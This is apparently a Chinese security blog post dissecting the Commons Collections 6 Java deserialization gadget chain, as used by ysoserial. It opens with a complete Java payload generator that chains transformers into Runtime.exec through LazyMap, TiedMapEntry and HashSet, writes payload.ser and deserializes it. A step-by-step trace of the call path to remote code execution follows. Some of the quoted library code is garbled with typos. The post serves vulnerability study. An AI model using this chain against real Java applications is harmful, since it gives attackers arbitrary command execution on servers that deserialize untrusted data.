简介

适用版本:3.1-3.2.1,jdk1.7,1.8均可成功

主要代码

public static void main(String[] args) throws Exception {
       String command = "open /Applications/Calculator.app/";
       final String[] execArgs = new String[] { command };
       final Transformer[] transformers = new Transformer[] {
               new ConstantTransformer(Runtime.class),
               new InvokerTransformer("getMethod", new Class[] {
                       String.class, Class[].class }, new Object[] {
                       "getRuntime", new Class[0] }),
               new InvokerTransformer("invoke", new Class[] {
                       Object.class, Object[].class }, new Object[] {
                       null, new Object[0] }),
               new InvokerTransformer("exec",
                       new Class[] { String.class }, execArgs),
               new ConstantTransformer(1) };
       Transformer transformerChain = new ChainedTransformer(transformers);
       final Map innerMap = new HashMap();
//创建一个factory为恶意ChainedTransformer对象的lazyMap类实例
       final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
//创建一个map为恶意lazyMap类实例,key为foo的TiedMapEntry类实例
       TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
       HashSet map = new HashSet(1);
       map.add("foo");
       Field f = null;
       try {
           f = HashSet.class.getDeclaredField("map");
       } catch (NoSuchFieldException e) {
           f = HashSet.class.getDeclaredField("backingMap");
       }
//取出HashSet对象的成员变量map
       Permit.setAccessible(f);
       HashMap innimpl = (HashMap) f.get(map);
       Field f2 = null;
       try {
           f2 = HashMap.class.getDeclaredField("table");
       } catch (NoSuchFieldException e) {
           f2 = HashMap.class.getDeclaredField("elementData");
       }
//取出HashMap对象的成员变量table
       Permit.setAccessible(f2);
       Object[] array = (Object[]) f2.get(innimpl);
//取出table里面的第一个Entry
       Object node = array[0];
       if(node == null){
           node = array[1];
       }
       Field keyField = null;
       try{
           keyField = node.getClass().getDeclaredField("key");
       }catch(Exception e){
           keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
       }
//取出Entry对象重的key,并将它赋值为恶意的TiedMapEntry对象
       Permit.setAccessible(keyField);
       keyField.set(node, entry);
       FileOutputStream fos = new FileOutputStream("payload.ser");
       ObjectOutputStream oos = new ObjectOutputStream(fos);
       oos.writeObject(map);
       oos.flush();
       oos.close();
       FileInputStream fis = new FileInputStream("payload.ser");
       ObjectInputStream ois = new ObjectInputStream(fis);
       Object newObj = ois.readObject();
       ois.close();
   }

利用链

cc61.png

分析

入口点是HashSet类,调用HashSet的readObject方法进行反序列化,将恶意的TiedMapEntry对象带入put函数(map是HashMap类的对象,e变量是我们传入的TiedMapEntry对象)

private void readobject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    s.defaultReadobject();
    int capacity = s.readInt();
    float loadFactor = s.readFloat();
    map = (((HashSet)this) instanceof LinkedHashSet ?
        new LinkedHashMap<E,Object>(capacity, loadFactor)
        new HashMap<E,Object>(capacity, LoadFactor));
    int size = s.readInt();
    for (int i=0; i<size; i++) {
    E e=(E)s.readObject(); 
    map.put (e, PRESENT);  //这里
    }
}

在put函数中会把恶意的TiedMapEntry对象放入hash函数中

public V put(K key, V value) {
    if (key == null)
        return putForNullKey (value);
    int hash = hash(key);           //这里
    int i =indexFor(h: hash, length: table.Length); 
    for (Entry<K,v> e= table[il; e != null; e = e.next) {
        Object k; 
        if (e.hash == hash && ((k = e.key) = key || key.equals(k))) {
            V oldValue = e.value; 
            e.value = value; 
            e.recordAccess(m: this); 
            return oldValue;
        }
    }

在hash函数中调用了恶意的TiedMapEntry对象的hashCode函数(k是TiedMapEntry对象)

final int hash(Object k)
    int h=0;
    if (useAltHashing) {
        if (k instanceof String) {
            return sun.misc.Hashing.stringHash32((String) k);
        }
        h = hashSeed;
    }
    h ^=k.hashCode();        //这里
    h ^= (h >>> 20) ^ (h>>> 12); 
    return h ^ (h >>> 7) ^ (h >>> 4);
}

在hashCode函数中会调用恶意的TiedMapEntry对象自身的getValue函数,然后就回到了cc5的分析了

public int hashCode() {
    Object value = this.getValue(); 
    return (this.getkey() == null ? 0: this.getKey().hashCode())^(value== null ? 0: value.hashCode())
}

在getValue函数中调用this.map的get函数,This.map是LazyMap对象

public Object getValue() {
    return this.map.get(this.key);
}

在get函数中调用恶意TiedMapEntry的This.factory(ChainedTransformer对象)对象的tranform方法,然后循环调用反射从而造成rce

public Object get(Object key) { 
    if (!this.map.containsKey(key)) {
        Object value = this.factory.transform (key); 
        this.map.put(key, value);
        return value;
    } else {
        return this.map.get(key);
    }
}

参考文章

雷神众测ysoserial分析之CommonsCollections6
java反序列化-ysoserial-调试分析总结篇(6)

Last modification:April 21st, 2020 at 09:14 pm